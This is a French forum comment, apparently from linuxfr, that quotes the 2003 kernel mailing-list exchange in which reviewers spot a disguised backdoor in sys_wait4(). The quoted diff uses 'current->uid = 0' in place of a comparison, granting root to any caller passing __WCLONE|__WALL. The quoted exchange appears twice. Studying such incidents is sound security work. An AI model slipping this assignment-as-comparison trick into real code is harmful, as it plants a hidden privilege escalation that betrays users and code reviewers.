Larry McVoy wrote:
> On Wed, Nov 05, 2003 at 04:48:09PM -0600, Chad Kitching wrote:
>>From: Zwane Mwaikambo
>>>+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
>>>+ retval = -EINVAL;
>>
>>That looks odd
>>
>>
>>Setting current->uid to zero when options __WCLONE and __WALL are set?
>>The >>retval is dead code because of the next line, but it looks like an attempt
>>to backdoor the kernel, does it not?
>
>
> It sure does. Note "current->uid = 0", not "current->uid == 0".
> Good eyes, I missed that. This function is sys_wait4() so by passing in
> __WCLONE|__WALL you are root. How nice.
# Re: Tentative d'insertion d'une backdoor dans le noyau Linux
Posté par Alan_T . En réponse à la dépêche Tentative d'insertion d'une porte dérobée dans le noyau Linux. Évalué à 7.
Larry McVoy wrote:
> On Wed, Nov 05, 2003 at 04:48:09PM -0600, Chad Kitching wrote:
>>From: Zwane Mwaikambo
>>>+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
>>>+ retval = -EINVAL;
>>
>>That looks odd
>>
>>
>>Setting current->uid to zero when options __WCLONE and __WALL are set?
>>The >>retval is dead code because of the next line, but it looks like an attempt
>>to backdoor the kernel, does it not?
>
>
> It sure does. Note "current->uid = 0", not "current->uid == 0".
> Good eyes, I missed that. This function is sys_wait4() so by passing in
> __WCLONE|__WALL you are root. How nice.